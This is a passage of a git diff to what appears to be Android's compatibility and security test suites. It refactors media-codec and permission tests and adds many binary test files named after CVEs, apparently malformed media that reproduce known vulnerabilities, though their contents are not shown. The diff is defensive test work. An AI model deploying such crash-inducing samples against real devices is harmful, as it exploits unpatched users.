int iFrameInterval,
- ByteBuffer csd,
+ ByteBuffer csd0,
+ ByteBuffer csd1,
int flags,
int lowLatency,
Surface surface);
@@ -118,12 +121,25 @@
int iFrameInterval = format.getInteger(MediaFormat.KEY_I_FRAME_INTERVAL, -1);
int lowLatency = format.getInteger(MediaFormat.KEY_LOW_LATENCY, -1);
- ByteBuffer csdBufCopy = null;
+ ByteBuffer csd0BufCopy = null;
if (format.containsKey(CSD_0)) {
- ByteBuffer csdBufOld = format.getByteBuffer(CSD_0);
- csdBufCopy = ByteBuffer.allocateDirect(csdBufOld.remaining());
- csdBufCopy.put(csdBufOld);
- csdBufCopy.position(0);
+ ByteBuffer csd0BufOld = format.getByteBuffer(CSD_0);
+ csd0BufCopy = ByteBuffer.allocateDirect(csd0BufOld.remaining());
+ csd0BufCopy.put(csd0BufOld);
+ csd0BufCopy.position(0);
+ }
+
+ ByteBuffer csd1BufCopy = null;
+ if (format.containsKey(CSD_1)) {
+ ByteBuffer csd1BufOld = format.getByteBuffer(CSD_1);
+ csd1BufCopy = ByteBuffer.allocateDirect(csd1BufOld.remaining());
+ csd1BufCopy.put(csd1BufOld);
+ csd1BufCopy.position(0);
+ }
+
+ // fail loudly so the test can be properly extended.
+ if (format.containsKey(CSD_2)) {
+ throw new UnsupportedOperationException("test error: does not handle csd-2");
}
AMediaCodecConfigure(
@@ -135,7 +151,8 @@
bitRate,
frameRate,
iFrameInterval ,
- csdBufCopy,
+ csd0BufCopy,
+ csd1BufCopy,
flags,
lowLatency,
surface);
diff --git a/tests/tests/os/src/android/os/cts/AutoRevokeTest.kt b/tests/tests/os/src/android/os/cts/AutoRevokeTest.kt
index ab22e7e..44a5444 100644
--- a/tests/tests/os/src/android/os/cts/AutoRevokeTest.kt
+++ b/tests/tests/os/src/android/os/cts/AutoRevokeTest.kt
@@ -16,6 +16,8 @@
package android.os.cts
+import android.app.Instrumentation
+import android.content.Context
import android.content.Intent
import android.content.Intent.ACTION_AUTO_REVOKE_PERMISSIONS
import android.content.Intent.FLAG_ACTIVITY_NEW_TASK
@@ -29,10 +31,10 @@
import android.support.test.uiautomator.By
import android.support.test.uiautomator.BySelector
import android.support.test.uiautomator.UiObject2
-import android.test.InstrumentationTestCase
import android.view.accessibility.AccessibilityNodeInfo
import android.widget.Switch
-import com.android.compatibility.common.util.textAsString
+import androidx.test.InstrumentationRegistry
+import androidx.test.runner.AndroidJUnit4
import com.android.compatibility.common.util.MatcherUtils.hasTextThat
import com.android.compatibility.common.util.SystemUtil
import com.android.compatibility.common.util.SystemUtil.runShellCommand
@@ -42,11 +44,19 @@
import com.android.compatibility.common.util.click
import com.android.compatibility.common.util.depthFirstSearch
import com.android.compatibility.common.util.lowestCommonAncestor
+import com.android.compatibility.common.util.textAsString
import com.android.compatibility.common.util.uiDump
import org.hamcrest.CoreMatchers.containsString
import org.hamcrest.CoreMatchers.containsStringIgnoringCase
+import org.hamcrest.CoreMatchers.equalTo
import org.hamcrest.Matcher
+import org.junit.Assert.assertEquals
+import org.junit.Assert.assertFalse
import org.junit.Assert.assertThat
+import org.junit.Assert.assertTrue
+import org.junit.Before
+import org.junit.Test
+import org.junit.runner.RunWith
import java.lang.reflect.Modifier
import java.util.concurrent.TimeUnit
import java.util.concurrent.atomic.AtomicReference
@@ -61,7 +71,11 @@
/**
* Test for auto revoke
*/
-class AutoRevokeTest : InstrumentationTestCase() {
+@RunWith(AndroidJUnit4::class)
+class AutoRevokeTest {
+
+ private val context: Context = InstrumentationRegistry.getTargetContext()
+ private val instrumentation: Instrumentation = InstrumentationRegistry.getInstrumentation()
private val mPermissionControllerResources: Resources = context.createPackageContext(
context.packageManager.permissionControllerPackageName, 0).resources
@@ -70,9 +84,27 @@
const val LOG_TAG = "AutoRevokeTest"
}
+ @Before
+ fun setup() {
+ // Kill Permission Controller
+ assertThat(
+ runShellCommand("killall " +
+ context.packageManager.permissionControllerPackageName),
+ equalTo(""))
+
+ // Collapse notifications
+ assertThat(
+ runShellCommand("cmd statusbar collapse"),
+ equalTo(""))
+
+ // Wake up the device
+ runShellCommand("input keyevent KEYCODE_WAKEUP")
+ runShellCommand("input keyevent 82")
+ }
+
@AppModeFull(reason = "Uses separate apps for testing")
+ @Test
fun testUnusedApp_getsPermissionRevoked() {
- wakeUpScreen()
withUnusedThresholdMs(3L) {
withDummyApp {
// Setup
@@ -103,8 +135,8 @@
}
@AppModeFull(reason = "Uses separate apps for testing")
+ @Test
fun testUsedApp_doesntGetPermissionRevoked() {
- wakeUpScreen()
withUnusedThresholdMs(100_000L) {
withDummyApp {
// Setup
@@ -127,8 +159,8 @@
}
@AppModeFull(reason = "Uses separate apps for testing")
+ @Test
fun testPreRUnusedApp_doesntGetPermissionRevoked() {
- wakeUpScreen()
withUnusedThresholdMs(3L) {
withDummyApp(APK_PATH_2, APK_PACKAGE_NAME_2) {
withDummyApp {
@@ -168,8 +200,8 @@
}
@AppModeFull(reason = "Uses separate apps for testing")
+ @Test
fun testAutoRevoke_userWhitelisting() {
- wakeUpScreen()
withUnusedThresholdMs(4L) {
withDummyApp {
// Setup
@@ -205,14 +237,15 @@
}
@AppModeFull(reason = "Uses separate apps for testing")
+ @Test
fun testInstallGrants_notRevokedImmediately() {
- wakeUpScreen()
withUnusedThresholdMs(TimeUnit.DAYS.toMillis(30)) {
withDummyApp {
// Setup
goToPermissions()
click("Calendar")
click("Allow")
+ Thread.sleep(500)
goBack()
goBack()
goBack()
@@ -231,6 +264,7 @@
}
@AppModeFull(reason = "Uses separate apps for testing")
+ @Test
fun testAutoRevoke_whitelistingApis() {
withDummyApp {
val pm = context.packageManager
@@ -258,11 +292,6 @@
}
}
- private fun wakeUpScreen() {
- runShellCommand("input keyevent KEYCODE_WAKEUP")
- runShellCommand("input keyevent 82")
- }
-
private fun runAutoRevoke() {
runShellCommand("cmd jobscheduler run -u 0 " +
"-f ${context.packageManager.permissionControllerPackageName} 2")
diff --git a/tests/tests/os/src/android/os/cts/LocaleListTest.java b/tests/tests/os/src/android/os/cts/LocaleListTest.java
index 8eee8c6..3d05332 100644
--- a/tests/tests/os/src/android/os/cts/LocaleListTest.java
+++ b/tests/tests/os/src/android/os/cts/LocaleListTest.java
@@ -93,13 +93,9 @@
public void testRepeatedArguments() {
final Locale[] la = {Locale.US, Locale.US};
- LocaleList ll = null;
- try {
- ll = new LocaleList(la);
- fail("Initializing a LocaleList with an array containing duplicates should throw.");
- } catch (Throwable e) {
- assertEquals(IllegalArgumentException.class, e.getClass());
- }
+ LocaleList ll = new LocaleList(la);
+ assertEquals(1, ll.size());
+ assertEquals(Locale.US, ll.get(0));
}
public void testIndexOf() {
diff --git a/tests/tests/permission/Android.bp b/tests/tests/permission/Android.bp
index a99565e..7c8c56b 100644
--- a/tests/tests/permission/Android.bp
+++ b/tests/tests/permission/Android.bp
@@ -20,6 +20,7 @@
test_suites: [
"cts",
"general-tests",
+ "sts",
],
// Include both the 32 and 64 bit versions
compile_multilib: "both",
diff --git a/tests/tests/permission/AppThatAccessesLocationOnCommand/Android.bp b/tests/tests/permission/AppThatAccessesLocationOnCommand/Android.bp
index 4e1272a..9aa6735 100644
--- a/tests/tests/permission/AppThatAccessesLocationOnCommand/Android.bp
+++ b/tests/tests/permission/AppThatAccessesLocationOnCommand/Android.bp
@@ -22,6 +22,7 @@
test_suites: [
"cts",
"general-tests",
+ "sts",
],
srcs: [
"src/**/*.java",
diff --git a/tests/tests/permission/AppThatDoesNotHaveBgLocationAccess/Android.bp b/tests/tests/permission/AppThatDoesNotHaveBgLocationAccess/Android.bp
index 56a8000..1dec34f 100644
--- a/tests/tests/permission/AppThatDoesNotHaveBgLocationAccess/Android.bp
+++ b/tests/tests/permission/AppThatDoesNotHaveBgLocationAccess/Android.bp
@@ -22,5 +22,6 @@
test_suites: [
"cts",
"general-tests",
+ "sts",
],
}
diff --git a/tests/tests/permission/AppThatRequestPermissionAandB/Android.bp b/tests/tests/permission/AppThatRequestPermissionAandB/Android.bp
index fc424ea..5e5a1c7 100644
--- a/tests/tests/permission/AppThatRequestPermissionAandB/Android.bp
+++ b/tests/tests/permission/AppThatRequestPermissionAandB/Android.bp
@@ -22,6 +22,7 @@
test_suites: [
"cts",
"general-tests",
+ "sts",
],
srcs: ["src/**/*.java"],
}
diff --git a/tests/tests/permission/AppThatRequestPermissionAandC/Android.bp b/tests/tests/permission/AppThatRequestPermissionAandC/Android.bp
index d38374f..d6cff70 100644
--- a/tests/tests/permission/AppThatRequestPermissionAandC/Android.bp
+++ b/tests/tests/permission/AppThatRequestPermissionAandC/Android.bp
@@ -22,6 +22,7 @@
test_suites: [
"cts",
"general-tests",
+ "sts",
],
srcs: ["src/**/*.java"],
}
diff --git a/tests/tests/permission/src/android/permission/cts/LocationAccessCheckTest.java b/tests/tests/permission/src/android/permission/cts/LocationAccessCheckTest.java
index 53b7d18..1a9c8dc 100644
--- a/tests/tests/permission/src/android/permission/cts/LocationAccessCheckTest.java
+++ b/tests/tests/permission/src/android/permission/cts/LocationAccessCheckTest.java
@@ -74,6 +74,8 @@
import androidx.test.runner.AndroidJUnit4;
import com.android.compatibility.common.util.ProtoUtils;
+import com.android.compatibility.common.util.mainline.MainlineModule;
+import com.android.compatibility.common.util.mainline.ModuleDetector;
import com.android.server.job.nano.JobSchedulerServiceDumpProto;
import com.android.server.job.nano.JobSchedulerServiceDumpProto.RegisteredJob;
@@ -111,6 +113,7 @@
private static final long UNEXPECTED_TIMEOUT_MILLIS = 10000;
private static final long EXPECTED_TIMEOUT_MILLIS = 1000;
private static final long LOCATION_ACCESS_TIMEOUT_MILLIS = 15000;
+ private static final long LOCATION_ACCESS_JOB_WAIT_MILLIS = 250;
// Same as in AccessLocationOnCommand
private static final long BACKGROUND_ACCESS_SETTLE_TIME = 11000;
@@ -133,6 +136,11 @@
private static ServiceConnection sConnection;
private static IAccessLocationOnCommand sLocationAccessor;
+ private static void assumeNotPlayManaged() throws Exception {
+ assumeFalse(ModuleDetector.moduleIsPlayManaged(
+ sContext.getPackageManager(), MainlineModule.PERMISSION_CONTROLLER));
+ }
+
/**
* Connected to {@value #TEST_APP_PKG} and make it access the location in the background
*/
@@ -270,13 +278,14 @@
+ BACKGROUND_ACCESS_SETTLE_TIME;
while (true) {
runLocationCheck();
+ Thread.sleep(LOCATION_ACCESS_JOB_WAIT_MILLIS);
StatusBarNotification notification = getPermissionControllerNotification();
if (notification == null) {
// Sometimes getting a location takes some time, hence not getting a notification
// can be caused by not having gotten a location yet
if (SystemClock.elapsedRealtime() - start < timeout) {
- Thread.sleep(200);
+ Thread.sleep(LOCATION_ACCESS_JOB_WAIT_MILLIS);
continue;
}
@@ -571,6 +580,7 @@
@Test
@SecurityTest(minPatchLevel = "2019-12-01")
public void notificationIsShownOnlyOnce() throws Throwable {
+ assumeNotPlayManaged();
accessLocation();
getNotification(true);
@@ -580,6 +590,7 @@
@Test
@SecurityTest(minPatchLevel = "2019-12-01")
public void notificationIsShownAgainAfterClear() throws Throwable {
+ assumeNotPlayManaged();
accessLocation();
getNotification(true);
@@ -617,6 +628,7 @@
@Test
@SecurityTest(minPatchLevel = "2019-12-01")
public void removeNotificationOnUninstall() throws Throwable {
+ assumeNotPlayManaged();
accessLocation();
getNotification(false);
@@ -657,6 +669,7 @@
@Test
@SecurityTest(minPatchLevel = "2019-12-01")
public void noNotificationIfFeatureDisabled() throws Throwable {
+ assumeNotPlayManaged();
disableLocationAccessCheck();
accessLocation();
assertNull(getNotification(true));
@@ -665,7 +678,9 @@
@Test
@SecurityTest(minPatchLevel = "2019-12-01")
public void notificationOnlyForAccessesSinceFeatureWasEnabled() throws Throwable {
+ assumeNotPlayManaged();
// Disable the feature and access location in disabled state
+ getNotification(true, true);
disableLocationAccessCheck();
accessLocation();
assertNull(getNotification(true));
@@ -682,6 +697,7 @@
@Test
@SecurityTest(minPatchLevel = "2019-12-01")
public void noNotificationIfBlamerNotSystemOrLocationProvider() throws Throwable {
+ assumeNotPlayManaged();
getNotification(true);
// Blame the app for access from an untrusted for notification purposes package.
runWithShellPermissionIdentity(() -> {
@@ -695,6 +711,7 @@
@Test
@SecurityTest(minPatchLevel = "2019-12-01")
public void testOpeningLocationSettingsDoesNotTriggerAccess() throws Throwable {
+ assumeNotPlayManaged();
Intent intent = new Intent(Settings.ACTION_LOCATION_SOURCE_SETTINGS);
intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
sContext.startActivity(intent);
diff --git a/tests/tests/permission/src/android/permission/cts/UndefinedGroupPermissionTest.kt b/tests/tests/permission/src/android/permission/cts/UndefinedGroupPermissionTest.kt
index ba9212b..d293c70 100644
--- a/tests/tests/permission/src/android/permission/cts/UndefinedGroupPermissionTest.kt
+++ b/tests/tests/permission/src/android/permission/cts/UndefinedGroupPermissionTest.kt
@@ -25,6 +25,7 @@
import android.os.Process
import android.support.test.uiautomator.By
import android.support.test.uiautomator.UiDevice
+import android.support.test.uiautomator.UiObject2
import android.support.test.uiautomator.UiObjectNotFoundException
import androidx.test.platform.app.InstrumentationRegistry
import com.android.compatibility.common.util.SystemUtil
@@ -34,6 +35,7 @@
import org.junit.Assert
import org.junit.Before
import org.junit.Test
+import java.util.regex.Pattern
/**
* Tests that the permissioncontroller behaves normally when an app defines a permission in the
@@ -44,11 +46,12 @@
private var mUiDevice: UiDevice? = null
private var mContext: Context? = null
private var mPm: PackageManager? = null
+ private var mAllowButtonText: Pattern? = null
@Before
fun install() {
SystemUtil.runShellCommand("pm install -r " +
- "$TEST_APP_DEFINES_UNDEFINED_PERMISSION_GROUP_ELEMENT_APK")
+ TEST_APP_DEFINES_UNDEFINED_PERMISSION_GROUP_ELEMENT_APK)
}
@Before
@@ -57,6 +60,14 @@
mUiDevice = UiDevice.getInstance(mInstrumentation)
mContext = mInstrumentation?.targetContext
mPm = mContext?.packageManager
+ val permissionControllerResources = mContext?.createPackageContext(
+ mContext?.packageManager?.permissionControllerPackageName, 0)?.resources
+ mAllowButtonText = Pattern.compile(
+ Pattern.quote(requireNotNull(permissionControllerResources?.getString(
+ permissionControllerResources.getIdentifier(
+ "grant_dialog_button_allow", "string",
+ "com.android.permissioncontroller")))),
+ Pattern.CASE_INSENSITIVE or Pattern.UNICODE_CASE)
}
@Before
@@ -94,9 +105,7 @@
eventually {
startRequestActivity(arrayOf(TEST))
mUiDevice!!.waitForIdle()
- waitFindObject(By.res(
- "com.android.permissioncontroller:id/permission_allow_button"),
- 100).click()
+ findAllowButton().click()
}
eventually {
Assert.assertEquals(mPm!!.checkPermission(CAMERA, APP_PKG_NAME),
@@ -113,6 +122,17 @@
SystemUtil.runShellCommand("pm uninstall $APP_PKG_NAME")
}
+ fun findAllowButton(): UiObject2 {
+ return if (mContext?.packageManager
+ ?.hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE) == true) {
+ waitFindObject(By.text(mAllowButtonText), 100)
+ } else {
+ waitFindObject(By.res(
+ "com.android.permissioncontroller:id/permission_allow_button"),
+ 100)
+ }
+ }
+
/**
* If app has one permission granted, then it can't grant itself another permission for free.
*/
@@ -131,7 +151,12 @@
startRequestActivity(arrayOf(targetPermission))
mUiDevice!!.waitForIdle()
try {
- waitFindObject(By.res("com.android.permissioncontroller:id/grant_dialog"), 100)
+ if (mContext?.packageManager
+ ?.hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE) == true) {
+ findAllowButton()
+ } else {
+ waitFindObject(By.res("com.android.permissioncontroller:id/grant_dialog"), 100)
+ }
} catch (e: UiObjectNotFoundException) {
Assert.assertEquals("grant dialog never showed.",
mPm!!.checkPermission(targetPermission,
diff --git a/tests/tests/permission/testapps/RevokePermissionWhenRemoved/AdversarialPermissionDefinerApp/Android.bp b/tests/tests/permission/testapps/RevokePermissionWhenRemoved/AdversarialPermissionDefinerApp/Android.bp
index 8c5ae37..cfb2836 100644
--- a/tests/tests/permission/testapps/RevokePermissionWhenRemoved/AdversarialPermissionDefinerApp/Android.bp
+++ b/tests/tests/permission/testapps/RevokePermissionWhenRemoved/AdversarialPermissionDefinerApp/Android.bp
@@ -21,6 +21,7 @@
test_suites: [
"cts",
"general-tests",
+ "sts",
],
certificate: ":cts-testkey1",
}
diff --git a/tests/tests/permission/testapps/RevokePermissionWhenRemoved/AdversarialPermissionUserApp/Android.bp b/tests/tests/permission/testapps/RevokePermissionWhenRemoved/AdversarialPermissionUserApp/Android.bp
index 548a494..6915076 100644
--- a/tests/tests/permission/testapps/RevokePermissionWhenRemoved/AdversarialPermissionUserApp/Android.bp
+++ b/tests/tests/permission/testapps/RevokePermissionWhenRemoved/AdversarialPermissionUserApp/Android.bp
@@ -21,6 +21,7 @@
test_suites: [
"cts",
"general-tests",
+ "sts",
],
certificate: ":cts-testkey2",
}
diff --git a/tests/tests/permission/testapps/RevokePermissionWhenRemoved/VictimPermissionDefinerApp/Android.bp b/tests/tests/permission/testapps/RevokePermissionWhenRemoved/VictimPermissionDefinerApp/Android.bp
index 756be5e..dc10abd 100644
--- a/tests/tests/permission/testapps/RevokePermissionWhenRemoved/VictimPermissionDefinerApp/Android.bp
+++ b/tests/tests/permission/testapps/RevokePermissionWhenRemoved/VictimPermissionDefinerApp/Android.bp
@@ -21,6 +21,7 @@
test_suites: [
"cts",
"general-tests",
+ "sts",
],
certificate: ":cts-testkey1",
}
diff --git a/tests/tests/permission3/UsePermissionAppWithOverlay/res/layout/overlay_activity.xml b/tests/tests/permission3/UsePermissionAppWithOverlay/res/layout/overlay_activity.xml
index 0335357..96b4df7 100644
--- a/tests/tests/permission3/UsePermissionAppWithOverlay/res/layout/overlay_activity.xml
+++ b/tests/tests/permission3/UsePermissionAppWithOverlay/res/layout/overlay_activity.xml
@@ -21,6 +21,10 @@
android:background="@drawable/border"
android:padding="8dp" >
+ <View android:layout_width="match_parent"
+ android:layout_height="0dp"
+ android:layout_weight="1" />
+
<TextView android:id="@+id/overlay_description"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
diff --git a/tests/tests/permission3/src/android/permission3/cts/BaseUsePermissionTest.kt b/tests/tests/permission3/src/android/permission3/cts/BaseUsePermissionTest.kt
index 8aedb6d..bea7a16 100644
--- a/tests/tests/permission3/src/android/permission3/cts/BaseUsePermissionTest.kt
+++ b/tests/tests/permission3/src/android/permission3/cts/BaseUsePermissionTest.kt
@@ -448,6 +448,7 @@
data = Uri.fromParts("package", APP_PACKAGE_NAME, null)
addCategory(Intent.CATEGORY_DEFAULT)
addFlags(Intent.FLAG_ACTIVITY_NEW_TASK)
+ addFlags(Intent.FLAG_ACTIVITY_CLEAR_TASK)
}
)
// Open the permissions UI
diff --git a/tests/tests/preference/src/android/preference/cts/TestUtils.java b/tests/tests/preference/src/android/preference/cts/TestUtils.java
index 30bd9fc..1992b95 100644
--- a/tests/tests/preference/src/android/preference/cts/TestUtils.java
+++ b/tests/tests/preference/src/android/preference/cts/TestUtils.java
@@ -16,6 +16,7 @@
package android.preference.cts;
+import android.app.Activity;
import android.app.Instrumentation;
import android.app.UiAutomation;
import android.app.UiModeManager;
@@ -31,8 +32,6 @@
import android.support.test.uiautomator.UiSelector;
import android.support.test.uiautomator.Until;
import android.util.DisplayMetrics;
-import android.view.Display;
-import android.view.Window;
import androidx.test.platform.app.InstrumentationRegistry;
import androidx.test.rule.ActivityTestRule;
@@ -50,8 +49,7 @@
private final UiAutomation mAutomation;
private int mStatusBarHeight = -1;
private int mNavigationBarHeight = -1;
- private Display mDisplay;
- private Window mWindow;
+ private ActivityTestRule<?> mRule;
TestUtils(ActivityTestRule<?> rule) {
mInstrumentation = InstrumentationRegistry.getInstrumentation();
@@ -59,8 +57,7 @@
mPackageName = mContext.getPackageName();
mDevice = UiDevice.getInstance(mInstrumentation);
mAutomation = mInstrumentation.getUiAutomation();
- mDisplay = rule.getActivity().getDisplay();
- mWindow = rule.getActivity().getWindow();
+ mRule = rule;
}
void waitForIdle() {
@@ -165,9 +162,10 @@
private boolean hasVerticalNavBar() {
Rect displayFrame = new Rect();
- mWindow.getDecorView().getWindowVisibleDisplayFrame(displayFrame);
+ final Activity activity = mRule.getActivity();
+ activity.getWindow().getDecorView().getWindowVisibleDisplayFrame(displayFrame);
DisplayMetrics dm = new DisplayMetrics();
- mDisplay.getRealMetrics(dm);
+ activity.getDisplay().getRealMetrics(dm);
return dm.heightPixels == displayFrame.bottom;
}
diff --git a/tests/tests/provider/src/android/provider/cts/SettingsPanelTest.java b/tests/tests/provider/src/android/provider/cts/SettingsPanelTest.java
index e18a365..e58ca44 100644
--- a/tests/tests/provider/src/android/provider/cts/SettingsPanelTest.java
+++ b/tests/tests/provider/src/android/provider/cts/SettingsPanelTest.java
@@ -69,6 +69,7 @@
private Context mContext;
private boolean mHasTouchScreen;
+ private boolean mHasBluetooth;
private UiDevice mDevice;
@@ -81,6 +82,7 @@
mHasTouchScreen = packageManager.hasSystemFeature(PackageManager.FEATURE_TOUCHSCREEN)
|| packageManager.hasSystemFeature(PackageManager.FEATURE_FAKETOUCH);
+ mHasBluetooth = packageManager.hasSystemFeature(PackageManager.FEATURE_BLUETOOTH);
Intent launcherIntent = new Intent(Intent.ACTION_MAIN);
launcherIntent.addCategory(Intent.CATEGORY_HOME);
@@ -133,6 +135,7 @@
@Test
public void mediaOutputPanel_withPackageNameExtra_correctPackage() {
assumeTrue(mHasTouchScreen);
+ assumeTrue(mHasBluetooth);
launchMediaOutputPanel(TEST_PACKAGE_NAME);
String currentPackage = mDevice.getCurrentPackageName();
@@ -143,6 +146,7 @@
@Test
public void mediaOutputPanel_noPutPackageNameExtra_correctPackage() {
assumeTrue(mHasTouchScreen);
+ assumeTrue(mHasBluetooth);
launchMediaOutputPanel(null /* packageName */);
String currentPackage = mDevice.getCurrentPackageName();
@@ -162,6 +166,7 @@
@Test
public void mediaOutputPanel_correctTitle() {
assumeTrue(mHasTouchScreen);
+ assumeTrue(mHasBluetooth);
launchMediaOutputPanel(TEST_PACKAGE_NAME);
final UiObject2 titleView = mDevice.findObject(By.res(mSettingsPackage, RESOURCE_HEADER));
@@ -232,6 +237,7 @@
@Test
public void mediaOutputPanel_doneClosesPanel() {
assumeTrue(mHasTouchScreen);
+ assumeTrue(mHasBluetooth);
// Launch panel
launchMediaOutputPanel(TEST_PACKAGE_NAME);
String currentPackage = mDevice.getCurrentPackageName();
@@ -319,6 +325,7 @@
@Test
public void mediaOutputPanel_seeMoreButton_doNothing() {
assumeTrue(mHasTouchScreen);
+ assumeTrue(mHasBluetooth);
// Launch panel
launchMediaOutputPanel(TEST_PACKAGE_NAME);
String currentPackage = mDevice.getCurrentPackageName();
diff --git a/tests/tests/security/AndroidTest.xml b/tests/tests/security/AndroidTest.xml
index ad7fa33..a7d1ede 100644
--- a/tests/tests/security/AndroidTest.xml
+++ b/tests/tests/security/AndroidTest.xml
@@ -21,6 +21,7 @@
<option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
+ <option name="test-file-name" value="CtsDeviceInfo.apk" />
<option name="test-file-name" value="CtsSecurityTestCases.apk" />
</target_preparer>
<target_preparer class="com.android.compatibility.common.tradefed.targetprep.CrashReporter" />
diff --git a/tests/tests/security/OWNERS b/tests/tests/security/OWNERS
index d6bf090..5787345 100644
--- a/tests/tests/security/OWNERS
+++ b/tests/tests/security/OWNERS
@@ -4,3 +4,4 @@
nnk@google.com
mspector@google.com
manjaepark@google.com
+cdombroski@google.com
diff --git a/tests/tests/security/native/encryption/FileBasedEncryptionPolicyTest.cpp b/tests/tests/security/native/encryption/FileBasedEncryptionPolicyTest.cpp
index 7229574..824cb50 100644
--- a/tests/tests/security/native/encryption/FileBasedEncryptionPolicyTest.cpp
+++ b/tests/tests/security/native/encryption/FileBasedEncryptionPolicyTest.cpp
@@ -46,14 +46,17 @@
}
#ifdef __arm__
-// For ARM32, assemble the 'aese.8' instruction as a .word, since otherwise
+// For ARM32, assemble the 'aese.8' instruction as an .inst, since otherwise
// clang does not accept it. It would be allowed in a separate file compiled
-// with -march=armv8, but this way is much easier. And it's not yet possible to
-// use a target function attribute, because clang doesn't yet support
-// target("fpu=crypto-neon-fp-armv8") like gcc does.
-static void executeAESInstruction(void) {
+// with -march=armv8+crypto, but this way is much easier. And it's not yet
+// possible to use a target function attribute, because clang doesn't yet
+// support target("fpu=crypto-neon-fp-armv8") like gcc does.
+//
+// We use the ARM encoding of the instruction, not the Thumb encoding. So make
+// sure to use target("arm") to mark the function as containing ARM code.
+static void __attribute__((target("arm"))) executeAESInstruction(void) {
// aese.8 q0, q1
- asm volatile(".word 0xf3b00302" : : : "q0");
+ asm volatile(".inst 0xf3b00302" : : : "q0");
}
#elif defined(__aarch64__)
static void __attribute__((target("crypto"))) executeAESInstruction(void) {
diff --git a/tests/tests/security/res/raw/cve_2018_9412.mp3 b/tests/tests/security/res/raw/cve_2018_9412.mp3
new file mode 100644
index 0000000..23391b3
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2018_9412.mp3
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2018_9474.mp4 b/tests/tests/security/res/raw/cve_2018_9474.mp4
new file mode 100644
index 0000000..3ff485a
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2018_9474.mp4
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2019_10489.mp4 b/tests/tests/security/res/raw/cve_2019_10489.mp4
new file mode 100644
index 0000000..a3eba77
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2019_10489.mp4
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2019_10532.wmv b/tests/tests/security/res/raw/cve_2019_10532.wmv
new file mode 100644
index 0000000..4869a54
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2019_10532.wmv
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2019_10578.mkv b/tests/tests/security/res/raw/cve_2019_10578.mkv
new file mode 100644
index 0000000..4e39345
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2019_10578.mkv
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2019_10579.mkv b/tests/tests/security/res/raw/cve_2019_10579.mkv
new file mode 100644
index 0000000..0b079d5
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2019_10579.mkv
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2019_10590.mp4 b/tests/tests/security/res/raw/cve_2019_10590.mp4
new file mode 100644
index 0000000..84b7981
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2019_10590.mp4
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2019_10591.mp4 b/tests/tests/security/res/raw/cve_2019_10591.mp4
new file mode 100644
index 0000000..73b288a
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2019_10591.mp4
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2019_10611.mp4 b/tests/tests/security/res/raw/cve_2019_10611.mp4
new file mode 100644
index 0000000..3374e81
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2019_10611.mp4
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2019_14003.mkv b/tests/tests/security/res/raw/cve_2019_14003.mkv
new file mode 100644
index 0000000..973a130
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2019_14003.mkv
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2019_14004.mkv b/tests/tests/security/res/raw/cve_2019_14004.mkv
new file mode 100644
index 0000000..c222cf7
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2019_14004.mkv
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2019_14005.mkv b/tests/tests/security/res/raw/cve_2019_14005.mkv
new file mode 100644
index 0000000..74d596b
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2019_14005.mkv
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2019_14006.mkv b/tests/tests/security/res/raw/cve_2019_14006.mkv
new file mode 100644
index 0000000..37b0c0a
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2019_14006.mkv
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2019_14016.wmv b/tests/tests/security/res/raw/cve_2019_14016.wmv
new file mode 100644
index 0000000..aeff9c1
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2019_14016.wmv
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2019_14017.mkv b/tests/tests/security/res/raw/cve_2019_14017.mkv
new file mode 100644
index 0000000..ad6a7ba
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2019_14017.mkv
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2019_14048.ts b/tests/tests/security/res/raw/cve_2019_14048.ts
new file mode 100644
index 0000000..1a79b20
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2019_14048.ts
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2019_14057.mkv b/tests/tests/security/res/raw/cve_2019_14057.mkv
new file mode 100644
index 0000000..4ec7655
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2019_14057.mkv
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2019_14061.mkv b/tests/tests/security/res/raw/cve_2019_14061.mkv
new file mode 100644
index 0000000..ec869f2
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2019_14061.mkv
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2019_14127.mkv b/tests/tests/security/res/raw/cve_2019_14127.mkv
new file mode 100644
index 0000000..e9e15a5
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2019_14127.mkv
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2019_14132.mp4 b/tests/tests/security/res/raw/cve_2019_14132.mp4
new file mode 100644
index 0000000..f95a77d
--- /dev/null
